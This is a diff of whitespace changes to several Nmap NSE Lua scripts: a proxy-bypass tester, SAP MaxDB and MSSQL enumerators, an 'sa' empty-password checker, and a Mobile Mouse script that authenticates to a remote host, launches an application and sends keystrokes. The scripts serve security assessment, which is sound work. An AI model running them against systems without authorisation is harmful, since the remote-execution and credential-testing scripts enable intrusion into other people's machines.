-- by relying on the 200 OK. If we have no 200 OK abort, otherwise continue
local got_200_ok
for _, response in ipairs(bypass_request) do
if ( response.status == 200 ) then
got_200_ok = true
end
end
-- going through the results of TEST 1 we could see
-- * 200 OK
-- o This could be the result of the server being vulnerable
-- o This could also be the result of a generic error page
-- * 40X Error
-- o This is most likely the result of the server NOT being vulnerable
--
-- We can not determine whether the server is vulnerable or not solely
-- by relying on the 200 OK. If we have no 200 OK abort, otherwise continue
local got_200_ok
for _, response in ipairs(bypass_request) do
if ( response.status == 200 ) then
got_200_ok = true
end
end
-- if we didn't get at least one 200 OK, the server is most like NOT vulnerable
if ( not(got_200_ok) ) then
vuln.state = vulns.STATE.NOT_VULN
return report:make_output(vuln)
end
-- if we didn't get at least one 200 OK, the server is most like NOT vulnerable
if ( not(got_200_ok) ) then
vuln.state = vulns.STATE.NOT_VULN
return report:make_output(vuln)
end
for i=1, #bypass_request, 1 do
stdnse.print_debug(1, "%s : test %d returned a %d", SCRIPT_NAME,i,bypass_request[i].status)
for i=1, #bypass_request, 1 do
stdnse.print_debug(1, "%s : test %d returned a %d", SCRIPT_NAME,i,bypass_request[i].status)
-- here a 400 should be the evidence for a patched server.
if ( bypass_request[i].status == 200 and vuln.state ~= vulns.STATE.VULN ) then
-- here a 400 should be the evidence for a patched server.
if ( bypass_request[i].status == 200 and vuln.state ~= vulns.STATE.VULN ) then
-- TEST 2: the internal hosts test. According to Contextis, we expect a delay before a server error.
-- According to my (Patrik) tests, internal hosts reachable by the server may return instant responses
local tests = {
{ prefix = "", suffix = "" },
{ prefix = ":", suffix = ""},
{ prefix = ":", suffix = ":80"}
}
-- TEST 2: the internal hosts test. According to Contextis, we expect a delay before a server error.
-- According to my (Patrik) tests, internal hosts reachable by the server may return instant responses
local tests = {
{ prefix = "", suffix = "" },
{ prefix = ":", suffix = ""},
{ prefix = ":", suffix = ":80"}
}
-- try a bunch of hosts, and hope we hit one thats
-- not on the network, this will give us the delay we're expecting
local hosts = {
"10.10.10.10",
"192.168.211.211",
"172.16.16.16"
}
-- try a bunch of hosts, and hope we hit one thats
-- not on the network, this will give us the delay we're expecting
local hosts = {
"10.10.10.10",
"192.168.211.211",
"172.16.16.16"
}
-- perform one request for each host, and stop once we
-- receive a timeout for one of them
for _, h in ipairs(hosts) do
local response = http.get(
host,
port,
("%s%s@%s%s"):format(prefix, tests[i].prefix, h, tests[i].suffix),
{ timeout = ( chrono_404 + 5 ) * 1000 }
)
-- check if the GET timed out
if ( not(response.status) ) then
vuln.state = vulns.STATE.VULN
break
end
end
end
end
-- perform one request for each host, and stop once we
-- receive a timeout for one of them
for _, h in ipairs(hosts) do
local response = http.get(
host,
port,
("%s%s@%s%s"):format(prefix, tests[i].prefix, h, tests[i].suffix),
{ timeout = ( chrono_404 + 5 ) * 1000 }
)
-- check if the GET timed out
if ( not(response.status) ) then
vuln.state = vulns.STATE.VULN
break
end
end
end
end
-- TEST 3: The external website test. This does not mean that you can reach a LAN ip, but this is a relevant issue anyway.
local external = http.get(host,port, ("@scanme.nmap.org"):format(prefix))
if ( external.status == 200 and string.match(external.body,"Go ahead and ScanMe") ) then
vuln.extra_info = "Proxy allows requests to external websites"
end
return report:make_output(vuln)
-- TEST 3: The external website test. This does not mean that you can reach a LAN ip, but this is a relevant issue anyway.
local external = http.get(host,port, ("@scanme.nmap.org"):format(prefix))
if ( external.status == 200 and string.match(external.body,"Go ahead and ScanMe") ) then
vuln.extra_info = "Proxy allows requests to external websites"
end
return report:make_output(vuln)
end

View File

@@ -43,31 +43,31 @@ portrule = shortport.port_or_service(7210, "maxdb", "tcp")
-- @return status true on success, false on failure
-- @return data string containing the raw response from the server
local function exchPacket(socket, packet)
local status, err = socket:send(packet)
if ( not(status) ) then
stdnse.print_debug(2, "Failed to send packet to server")
return false, "Failed to send packet to server"
end
local status, err = socket:send(packet)
if ( not(status) ) then
stdnse.print_debug(2, "Failed to send packet to server")
return false, "Failed to send packet to server"
end
local data
status, data= socket:receive()
if ( not(status) ) then
stdnse.print_debug(2, "Failed to read packet from server")
return false, "Failed to read packet from server"
end
local pos, len = bin.unpack("<S", data)
local data
status, data= socket:receive()
if ( not(status) ) then
stdnse.print_debug(2, "Failed to read packet from server")
return false, "Failed to read packet from server"
end
local pos, len = bin.unpack("<S", data)
-- make sure we've got it all
if ( len ~= #data ) then
local tmp
status, tmp = socket:receive_bytes(len - #data)
if ( not(status) ) then
stdnse.print_debug(2, "Failed to read packet from server")
return false, "Failed to read packet from server"
end
data = data .. tmp
end
return true, data
-- make sure we've got it all
if ( len ~= #data ) then
local tmp
status, tmp = socket:receive_bytes(len - #data)
if ( not(status) ) then
stdnse.print_debug(2, "Failed to read packet from server")
return false, "Failed to read packet from server"
end
data = data .. tmp
end
return true, data
end
-- Sends and receives a MaxDB command and does some very basic checks of the
@@ -77,16 +77,16 @@ end
-- @return status true on success, false on failure
-- @return data string containing the raw response from the server
local function exchCommand(socket, packet)
local status, data = exchPacket(socket, packet)
if( status ) then
if ( #data < 26 ) then
return false, "Response to short"
end
if ( "OK" ~= data:sub(25, 26) ) then
return false, "Incorrect response from server (no OK found)"
end
end
return status, data
local status, data = exchPacket(socket, packet)
if( status ) then
if ( #data < 26 ) then
return false, "Response to short"
end
if ( "OK" ~= data:sub(25, 26) ) then
return false, "Incorrect response from server (no OK found)"
end
end
return status, data
end
-- Parses and decodes the raw version response from the server
@@ -99,78 +99,78 @@ end
-- <code>SYSNAME</code>, <code>MASKING</code>,
-- <code>REPLYTREATMENT</code> and <code>SDBDBM_IPCLOCATION</code>
local function parseVersion(data)
local version_info = {}
if ( #data > 27 ) then
for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do
local key, val = line:match("^(%S+)%s-=%s(.*)%s*$")
if ( key ) then version_info[key] = val end
end
end
return version_info
local version_info = {}
if ( #data > 27 ) then
for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do
local key, val = line:match("^(%S+)%s-=%s(.*)%s*$")
if ( key ) then version_info[key] = val end
end
end
return version_info
end
-- Parses and decodes the raw database response from the server
-- @param data string containing the raw response
-- @return result string containing a table of database instance information
local function parseDatabases(data)
local result = tab.new(5)
tab.addrow(result, "instance", "path", "version", "kernel", "state")
for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do
local cols = {}
cols.instance, cols.path, cols.ver, cols.kernel,
cols.state = line:match("^(.-)%s*\t(.-)%s*\t(.-)%s*\t(.-)%s-\t(.-)%s-$")
if ( cols.instance ) then
tab.addrow(result, cols.instance, cols.path, cols.ver, cols.kernel, cols.state)
end
end
return tab.dump(result)
local result = tab.new(5)
tab.addrow(result, "instance", "path", "version", "kernel", "state")
for _, line in ipairs(stdnse.strsplit("\n", data:sub(28))) do
local cols = {}
cols.instance, cols.path, cols.ver, cols.kernel,
cols.state = line:match("^(.-)%s*\t(.-)%s*\t(.-)%s*\t(.-)%s-\t(.-)%s-$")
if ( cols.instance ) then
tab.addrow(result, cols.instance, cols.path, cols.ver, cols.kernel, cols.state)
end
end
return tab.dump(result)
end
action = function(host, port)
-- this could really be more elegant, but it has to do for now
local handshake = "5a000000035b000001000000ffffffff000004005a000000000242000409000000400000d03f00000040000070000000000500000004000000020000000300000749343231360004501c2a035201037201097064626d73727600"
local dbm_version = "28000000033f000001000000ac130000000004002800000064626d5f76657273696f6e2020202020"
local db_enum = "20000000033f000001000000ac130000000004002000000064625f656e756d20"
-- this could really be more elegant, but it has to do for now
local handshake = "5a000000035b000001000000ffffffff000004005a000000000242000409000000400000d03f00000040000070000000000500000004000000020000000300000749343231360004501c2a035201037201097064626d73727600"
local dbm_version = "28000000033f000001000000ac130000000004002800000064626d5f76657273696f6e2020202020"
local db_enum = "20000000033f000001000000ac130000000004002000000064625f656e756d20"
local socket = nmap.new_socket()
socket:set_timeout(10000)
local status, err = socket:connect(host, port)
local data
local socket = nmap.new_socket()
socket:set_timeout(10000)
local status, err = socket:connect(host, port)
local data
status, data = exchPacket(socket, bin.pack("H", handshake))
if ( not(status) ) then
return "\n ERROR: Failed to perform handshake with MaxDB server"
end
status, data = exchPacket(socket, bin.pack("H", handshake))
if ( not(status) ) then
return "\n ERROR: Failed to perform handshake with MaxDB server"
end
status, data = exchPacket(socket, bin.pack("H", dbm_version))
if ( not(status) ) then
return "\n ERROR: Failed to request version information from server"
end
status, data = exchPacket(socket, bin.pack("H", dbm_version))
if ( not(status) ) then
return "\n ERROR: Failed to request version information from server"
end
local version_info = parseVersion(data)
if ( not(version_info) ) then
return "\n ERROR: Failed to parse version information from server"
end
local version_info = parseVersion(data)
if ( not(version_info) ) then
return "\n ERROR: Failed to parse version information from server"
end
local result, filter = {}, {"Version", "Build", "OS", "Instroot", "Sysname"}
for _, f in ipairs(filter) do
table.insert(result, ("%s: %s"):format(f, version_info[f:upper()]))
end
local result, filter = {}, {"Version", "Build", "OS", "Instroot", "Sysname"}
for _, f in ipairs(filter) do
table.insert(result, ("%s: %s"):format(f, version_info[f:upper()]))
end
status, data = exchCommand(socket, bin.pack("H", db_enum))
socket:close()
if ( not(status) ) then
return "\n ERROR: Failed to request version information from server"
end
local dbs = parseDatabases(data)
table.insert(result, { name = "Databases", dbs } )
status, data = exchCommand(socket, bin.pack("H", db_enum))
socket:close()
if ( not(status) ) then
return "\n ERROR: Failed to request version information from server"
end
local dbs = parseDatabases(data)
table.insert(result, { name = "Databases", dbs } )
-- set the version information
port.version.name = "maxdb"
port.version.product = "SAP MaxDB"
port.version.version = version_info.VERSION
port.version.ostype = version_info.SYSNAME
nmap.set_port_version(host, port)
-- set the version information
port.version.name = "maxdb"
port.version.product = "SAP MaxDB"
port.version.version = version_info.VERSION
port.version.ostype = version_info.SYSNAME
nmap.set_port_version(host, port)
return stdnse.format_output(true, result)
return stdnse.format_output(true, result)
end

View File

@@ -50,130 +50,130 @@ local arg_delay = stdnse.get_script_args(SCRIPT_NAME .. '.delay') or 3
portrule = shortport.port_or_service(51010, "mmouse", "tcp")
local function receiveData(socket, cmd)
local status, data = ""
repeat
status, data = socket:receive_buf("\04", true)
if ( not(status) ) then
return false, "Failed to receive data from server"
end
until( cmd == nil or data:match("^" .. cmd) )
return true, data
local status, data = ""
repeat
status, data = socket:receive_buf("\04", true)
if ( not(status) ) then
return false, "Failed to receive data from server"
end
until( cmd == nil or data:match("^" .. cmd) )
return true, data
end
local function authenticate(socket, password)
local devid = "0123456789abcdef0123456789abcdef0123456"
local devname = "Lord Vaders iPad"
local suffix = "2".."\30".."2".."\04"
local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
local devid = "0123456789abcdef0123456789abcdef0123456"
local devname = "Lord Vaders iPad"
local suffix = "2".."\30".."2".."\04"
local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
local status = socket:send(auth)
if ( not(status) ) then
return false, "Failed to send data to server"
end
local status = socket:send(auth)
if ( not(status) ) then
return false, "Failed to send data to server"
end
local status, data = receiveData(socket)
if ( not(status) ) then
return false, "Failed to receive data from server"
end
local status, data = receiveData(socket)
if ( not(status) ) then
return false, "Failed to receive data from server"
end
local success, os = data:match("^CONNECTED\30([^\30]*)\30([^\30]*)")
local success, os = data:match("^CONNECTED\30([^\30]*)\30([^\30]*)")
if ( success == "YES" ) then
if ( os ~= 'MAC' ) then
return false, "Non MAC platform detected, script has only been tested on MAC"
end
if ( not(socket:send("SETOPTION\30PRESENTATION\30".."1\04")) ) then
return false, "Failed to send request to server"
end
if ( not(socket:send("SETOPTION\30CLIPBOARDSYNC\30".."1\04")) ) then
return false, "Failed to send request to server"
end
return true
end
return false, "Authentication failed"
if ( success == "YES" ) then
if ( os ~= 'MAC' ) then
return false, "Non MAC platform detected, script has only been tested on MAC"
end
if ( not(socket:send("SETOPTION\30PRESENTATION\30".."1\04")) ) then
return false, "Failed to send request to server"
end
if ( not(socket:send("SETOPTION\30CLIPBOARDSYNC\30".."1\04")) ) then
return false, "Failed to send request to server"
end
return true
end
return false, "Authentication failed"
end
local function processSwitchMode(socket, swmode)
local m, o, a1, a2, p = swmode:match("^(.-)\30(.-)\30(.-)\30(.-)\30(.-)\04$")
if ( m ~= "SWITCHMODE") then
stdnse.print_debug("Unknown SWITCHMODE: %s %s", m, o)
return false, "Failed to parse SWITCHMODE"
end
local m, o, a1, a2, p = swmode:match("^(.-)\30(.-)\30(.-)\30(.-)\30(.-)\04$")
if ( m ~= "SWITCHMODE") then
stdnse.print_debug("Unknown SWITCHMODE: %s %s", m, o)
return false, "Failed to parse SWITCHMODE"
end
local str = ("SWITCHED\30%s\30%s\30%s\04"):format(o, a1, a2)
local status = socket:send(str)
if ( not(status) ) then
return false, "Failed to send data to server"
end
return true
local str = ("SWITCHED\30%s\30%s\30%s\04"):format(o, a1, a2)
local status = socket:send(str)
if ( not(status) ) then
return false, "Failed to send data to server"
end
return true
end
local function executeCmd(socket, app, keys)
local exec = ("SENDPROGRAMACTION\30RUN\30%s\04"):format(app)
local status = socket:send(exec)
if ( not(status) ) then
return false, "Failed to send data to server"
end
local exec = ("SENDPROGRAMACTION\30RUN\30%s\04"):format(app)
local status = socket:send(exec)
if ( not(status) ) then
return false, "Failed to send data to server"
end
local status, data = receiveData(socket)
if ( not(status) ) then
return false, "Failed to receive data from server"
end
local status, data = receiveData(socket)
if ( not(status) ) then
return false, "Failed to receive data from server"
end
if ( arg_delay ) then
stdnse.sleep(tonumber(arg_delay))
end
if ( arg_delay ) then
stdnse.sleep(tonumber(arg_delay))
end
if ( keys ) then
local cmd = ("KEYSTRING\30%s\n\04"):format(keys)
if ( not(socket:send(cmd)) ) then
return false, "Failed to send data to the server"
end
end
return true
if ( keys ) then
local cmd = ("KEYSTRING\30%s\n\04"):format(keys)
if ( not(socket:send(cmd)) ) then
return false, "Failed to send data to the server"
end
end
return true
end
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host, port)
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
local credentials = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
local password = arg_password or (credentials and credentials.pass) or ""
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
local credentials = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
local password = arg_password or (credentials and credentials.pass) or ""
if ( not(arg_app) ) then
return fail(("No application was specified (see %s.application)"):format(SCRIPT_NAME))
end
if ( not(arg_app) ) then
return fail(("No application was specified (see %s.application)"):format(SCRIPT_NAME))
end
if ( not(arg_keys) ) then
return fail(("No keys were specified (see %s.keys)"):format(SCRIPT_NAME))
end
if ( not(arg_keys) ) then
return fail(("No keys were specified (see %s.keys)"):format(SCRIPT_NAME))
end
local socket = nmap.new_socket()
socket:set_timeout(10000)
local status, err = socket:connect(host, port)
if ( not(status) ) then
return fail("Failed to connect to server")
end
local socket = nmap.new_socket()
socket:set_timeout(10000)
local status, err = socket:connect(host, port)
if ( not(status) ) then
return fail("Failed to connect to server")
end
status, err = authenticate(socket, password)
if ( not(status) ) then
return fail(err)
end
status, err = authenticate(socket, password)
if ( not(status) ) then
return fail(err)
end
local data
status, data = receiveData(socket, "SWITCHMODE")
if ( not(status) ) then
return fail("Failed to receive expected response from server")
end
local data
status, data = receiveData(socket, "SWITCHMODE")
if ( not(status) ) then
return fail("Failed to receive expected response from server")
end
if ( not(processSwitchMode(socket, data)) ) then
return fail("Failed to process SWITCHMODE command")
end
if ( not(processSwitchMode(socket, data)) ) then
return fail("Failed to process SWITCHMODE command")
end
if ( not(executeCmd(socket, arg_app, arg_keys)) ) then
return fail("Failed to execute application")
end
if ( not(executeCmd(socket, arg_app, arg_keys)) ) then
return fail("Failed to execute application")
end
return ("\n Attempted to start application \"%s\" and sent \"%s\""):format(arg_app, arg_keys)
return ("\n Attempted to start application \"%s\" and sent \"%s\""):format(arg_app, arg_keys)
end

View File

@@ -63,7 +63,7 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
-- Created 04/02/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
-- added compatibility with changes in mssql.lua (Chris Woodbury)
-- added compatibility with changes in mssql.lua (Chris Woodbury)
author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -80,78 +80,78 @@ portrule = mssql.Helper.GetPortrule_Standard()
--- Processes a set of instances
local function process_instance( instance )
local status, errorMessage
local result, result_part = {}, {}
local conf_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and ""
or " WHERE configuration_id > 16384"
local db_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and ""
or " WHERE name NOT IN ('master','model','tempdb','msdb')"
local helper = mssql.Helper:new()
local status, errorMessage
local result, result_part = {}, {}
local conf_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and ""
or " WHERE configuration_id > 16384"
local db_filter = stdnse.get_script_args( {'mssql-config.showall', 'ms-sql-config.showall'} ) and ""
or " WHERE name NOT IN ('master','model','tempdb','msdb')"
local helper = mssql.Helper:new()
local queries = {
[2]={ ["Configuration"] = [[ SELECT name,
cast(value as varchar) value,
cast(value_in_use as varchar) inuse,
description
FROM sys.configurations ]] .. conf_filter },
[3]={ ["Linked Servers"] = [[ SELECT srvname, srvproduct, providername
FROM master..sysservers
WHERE srvid > 0 ]] },
[1]={ ["Databases"] = [[ CREATE TABLE #nmap_dbs(name varchar(255), db_size varchar(255), owner varchar(255),
dbid int, created datetime, status varchar(512), compatibility_level int )
INSERT INTO #nmap_dbs EXEC sp_helpdb
SELECT name, db_size, owner
FROM #nmap_dbs ]] .. db_filter .. [[
DROP TABLE #nmap_dbs ]] }
}
local queries = {
[2]={ ["Configuration"] = [[ SELECT name,
cast(value as varchar) value,
cast(value_in_use as varchar) inuse,
description
FROM sys.configurations ]] .. conf_filter },
[3]={ ["Linked Servers"] = [[ SELECT srvname, srvproduct, providername
FROM master..sysservers
WHERE srvid > 0 ]] },
[1]={ ["Databases"] = [[ CREATE TABLE #nmap_dbs(name varchar(255), db_size varchar(255), owner varchar(255),
dbid int, created datetime, status varchar(512), compatibility_level int )
INSERT INTO #nmap_dbs EXEC sp_helpdb
SELECT name, db_size, owner
FROM #nmap_dbs ]] .. db_filter .. [[
DROP TABLE #nmap_dbs ]] }
}
status, errorMessage = helper:ConnectEx( instance )
if ( not(status) ) then result = "ERROR: " .. errorMessage end
status, errorMessage = helper:ConnectEx( instance )
if ( not(status) ) then result = "ERROR: " .. errorMessage end
if status then
status, errorMessage = helper:LoginEx( instance )
if ( not(status) ) then result = "ERROR: " .. errorMessage end
end
if status then
status, errorMessage = helper:LoginEx( instance )
if ( not(status) ) then result = "ERROR: " .. errorMessage end
end
for _, v in ipairs( queries ) do
if ( not status ) then break end
for header, query in pairs(v) do
status, result_part = helper:Query( query )
for _, v in ipairs( queries ) do
if ( not status ) then break end
for header, query in pairs(v) do
status, result_part = helper:Query( query )
if ( not(status) ) then
result = "ERROR: " .. result_part
break
end
result_part = mssql.Util.FormatOutputTable( result_part, true )
result_part.name = header
table.insert( result, result_part )
end
end
if ( not(status) ) then
result = "ERROR: " .. result_part
break
end
result_part = mssql.Util.FormatOutputTable( result_part, true )
result_part.name = header
table.insert( result, result_part )
end
end
helper:Disconnect()
helper:Disconnect()
local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
table.insert( instanceOutput, result )
local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
table.insert( instanceOutput, result )
return instanceOutput
return instanceOutput
end
action = function( host, port )
local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
if ( not status ) then
return stdnse.format_output( false, instanceList )
else
for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance )
if instanceOutput then
table.insert( scriptOutput, instanceOutput )
end
end
end
if ( not status ) then
return stdnse.format_output( false, instanceList )
else
for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance )
if instanceOutput then
table.insert( scriptOutput, instanceOutput )
end
end
end
return stdnse.format_output( true, scriptOutput )
return stdnse.format_output( true, scriptOutput )
end

View File

@@ -49,9 +49,9 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 02/01/2011 - v0.2 (Chris Woodbury)
-- - Added ability to run against all instances on a host;
-- - Added storage of credentials on a per-instance basis
-- - Added compatibility with changes in mssql.lua
-- - Added ability to run against all instances on a host;
-- - Added storage of credentials on a per-instance basis
-- - Added compatibility with changes in mssql.lua
author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -62,121 +62,121 @@ hostrule = mssql.Helper.GetHostrule_Standard()
portrule = mssql.Helper.GetPortrule_Standard()
local function test_credentials( instance, helper, username, password )
local database = "tempdb"
local database = "tempdb"
local status, result = helper:ConnectEx( instance )
local loginErrorCode
if( status ) then
stdnse.print_debug( 2, "%s: Attempting login to %s", SCRIPT_NAME, instance:GetName() )
status, result, loginErrorCode = helper:Login( username, password, database, instance.host.ip )
end
helper:Disconnect()
local status, result = helper:ConnectEx( instance )
local loginErrorCode
if( status ) then
stdnse.print_debug( 2, "%s: Attempting login to %s", SCRIPT_NAME, instance:GetName() )
status, result, loginErrorCode = helper:Login( username, password, database, instance.host.ip )
end
helper:Disconnect()
local passwordIsGood, canLogin
if status then
passwordIsGood = true
canLogin = true
elseif ( loginErrorCode ) then
if ( loginErrorCode == mssql.LoginErrorType.PasswordExpired ) then passwordIsGood = true end
if ( loginErrorCode == mssql.LoginErrorType.PasswordMustChange ) then passwordIsGood = true end
if ( loginErrorCode == mssql.LoginErrorType.AccountLockedOut ) then
stdnse.print_debug( 1, "%s: Account %s locked out on %s", SCRIPT_NAME, username, instance:GetName() )
table.insert( instance.ms_sql_empty, string.format("'sa' account is locked out.", result ) )
end
if ( mssql.LoginErrorMessage[ loginErrorCode ] == nil ) then
stdnse.print_debug( 2, "%s: Attemping login to %s: Unknown login error number: %s",
SCRIPT_NAME, instance:GetName(), loginErrorCode )
table.insert( instance.ms_sql_empty, string.format( "Unknown login error number: %s", loginErrorCode ) )
end
else
table.insert( instance.ms_sql_empty, string.format("Network error. Error: %s", result ) )
end
local passwordIsGood, canLogin
if status then
passwordIsGood = true
canLogin = true
elseif ( loginErrorCode ) then
if ( loginErrorCode == mssql.LoginErrorType.PasswordExpired ) then passwordIsGood = true end
if ( loginErrorCode == mssql.LoginErrorType.PasswordMustChange ) then passwordIsGood = true end
if ( loginErrorCode == mssql.LoginErrorType.AccountLockedOut ) then
stdnse.print_debug( 1, "%s: Account %s locked out on %s", SCRIPT_NAME, username, instance:GetName() )
table.insert( instance.ms_sql_empty, string.format("'sa' account is locked out.", result ) )
end
if ( mssql.LoginErrorMessage[ loginErrorCode ] == nil ) then
stdnse.print_debug( 2, "%s: Attemping login to %s: Unknown login error number: %s",
SCRIPT_NAME, instance:GetName(), loginErrorCode )
table.insert( instance.ms_sql_empty, string.format( "Unknown login error number: %s", loginErrorCode ) )
end
else
table.insert( instance.ms_sql_empty, string.format("Network error. Error: %s", result ) )
end
if ( passwordIsGood ) then
local loginResultMessage = "Login Success"
if loginErrorCode then
loginResultMessage = mssql.LoginErrorMessage[ loginErrorCode ] or "unknown error"
end
table.insert( instance.ms_sql_empty, string.format( "%s:%s => %s", username, password:len()>0 and password or "<empty>", loginResultMessage ) )
if ( passwordIsGood ) then
local loginResultMessage = "Login Success"
if loginErrorCode then
loginResultMessage = mssql.LoginErrorMessage[ loginErrorCode ] or "unknown error"
end
table.insert( instance.ms_sql_empty, string.format( "%s:%s => %s", username, password:len()>0 and password or "<empty>", loginResultMessage ) )
-- Add credentials for other ms-sql scripts to use but don't
-- add accounts that need to change passwords
if ( canLogin ) then
instance.credentials[ username ] = password
-- Legacy storage method (does not distinguish between instances)
nmap.registry.mssqlusers = nmap.registry.mssqlusers or {}
nmap.registry.mssqlusers[username]=password
end
end
-- Add credentials for other ms-sql scripts to use but don't
-- add accounts that need to change passwords
if ( canLogin ) then
instance.credentials[ username ] = password
-- Legacy storage method (does not distinguish between instances)
nmap.registry.mssqlusers = nmap.registry.mssqlusers or {}
nmap.registry.mssqlusers[username]=password
end
end
end
--- Processes a single instance, attempting to detect an empty password for "sa"
local function process_instance( instance )
-- One of this script's features is that it will report an instance's
-- in both the port-script results and the host-script results. In order to
-- avoid redundant login attempts on an instance, we will just make the
-- attempt once and then re-use the results. We'll use a mutex to make sure
-- that multiple script instances (e.g. a host-script and a port-script)
-- working on the same SQL Server instance can only enter this block one at
-- a time.
local mutex = nmap.mutex( instance )
mutex( "lock" )
-- One of this script's features is that it will report an instance's
-- in both the port-script results and the host-script results. In order to
-- avoid redundant login attempts on an instance, we will just make the
-- attempt once and then re-use the results. We'll use a mutex to make sure
-- that multiple script instances (e.g. a host-script and a port-script)
-- working on the same SQL Server instance can only enter this block one at
-- a time.
local mutex = nmap.mutex( instance )
mutex( "lock" )
local status, result
local status, result
-- If this instance has already been tested (e.g. if we got to it by both the
-- hostrule and the portrule), don't test it again. This will reduce the risk
-- of locking out accounts.
if ( instance.tested_empty ~= true ) then
instance.tested_empty = true
-- If this instance has already been tested (e.g. if we got to it by both the
-- hostrule and the portrule), don't test it again. This will reduce the risk
-- of locking out accounts.
if ( instance.tested_empty ~= true ) then
instance.tested_empty = true
instance.credentials = instance.credentials or {}
instance.ms_sql_empty = instance.ms_sql_empty or {}
instance.credentials = instance.credentials or {}
instance.ms_sql_empty = instance.ms_sql_empty or {}
if not instance:HasNetworkProtocols() then
stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() )
table.insert( instance.ms_sql_empty, "No network protocols enabled." )
end
if not instance:HasNetworkProtocols() then
stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() )
table.insert( instance.ms_sql_empty, "No network protocols enabled." )
end
local helper = mssql.Helper:new()
test_credentials( instance, helper, "sa", "" )
end
local helper = mssql.Helper:new()
test_credentials( instance, helper, "sa", "" )
end
-- The password testing has been finished. Unlock the mutex.
mutex( "done" )
-- The password testing has been finished. Unlock the mutex.
mutex( "done" )
local instanceOutput
if ( instance.ms_sql_empty ) then
instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
for _, message in ipairs( instance.ms_sql_empty ) do
table.insert( instanceOutput, message )
end
if ( nmap.verbosity() > 1 and #instance.ms_sql_empty == 0 ) then
table.insert( instanceOutput, "'sa' account password is not blank." )
end
end
local instanceOutput
if ( instance.ms_sql_empty ) then
instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
for _, message in ipairs( instance.ms_sql_empty ) do
table.insert( instanceOutput, message )
end
if ( nmap.verbosity() > 1 and #instance.ms_sql_empty == 0 ) then
table.insert( instanceOutput, "'sa' account password is not blank." )
end
end
return instanceOutput
return instanceOutput
end
action = function( host, port )
local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
if ( not status ) then
return stdnse.format_output( false, instanceList )
else
for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance )
if instanceOutput then
table.insert( scriptOutput, instanceOutput )
end
end
end
if ( not status ) then
return stdnse.format_output( false, instanceList )
else
for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance )
if instanceOutput then
table.insert( scriptOutput, instanceOutput )
end
end
end
return stdnse.format_output( true, scriptOutput )
return stdnse.format_output( true, scriptOutput )
end

View File

@@ -66,7 +66,7 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 02/01/2011 - v0.2 - Added ability to run against all instances on a host;
-- added compatibility with changes in mssql.lua (Chris Woodbury)
-- added compatibility with changes in mssql.lua (Chris Woodbury)
author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -82,95 +82,95 @@ portrule = mssql.Helper.GetPortrule_Standard()
local function process_instance( instance )
local status, result, rs
local query, limit
local output = {}
local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" }
local status, result, rs
local query, limit
local output = {}
local exclude_dbs = { "'master'", "'tempdb'", "'model'", "'msdb'" }
local RS_LIMIT = stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )
and tonumber(stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )) or 5
local RS_LIMIT = stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )
and tonumber(stdnse.get_script_args( {'mssql-hasdbaccess.limit', 'ms-sql-hasdbaccess.limit' } )) or 5
if ( RS_LIMIT <= 0 ) then
limit = ""
else
limit = string.format( "TOP %d", RS_LIMIT )
end
if ( RS_LIMIT <= 0 ) then
limit = ""
else
limit = string.format( "TOP %d", RS_LIMIT )
end
local query = { [[CREATE table #hasaccess(dbname varchar(255), owner varchar(255),
DboOnly bit, ReadOnly bit, SingelUser bit, Detached bit,
Suspect bit, Offline bit, InLoad bit, EmergencyMode bit,
StandBy bit, [ShutDown] bit, InRecovery bit, NotRecovered bit )]],
local query = { [[CREATE table #hasaccess(dbname varchar(255), owner varchar(255),
DboOnly bit, ReadOnly bit, SingelUser bit, Detached bit,
Suspect bit, Offline bit, InLoad bit, EmergencyMode bit,
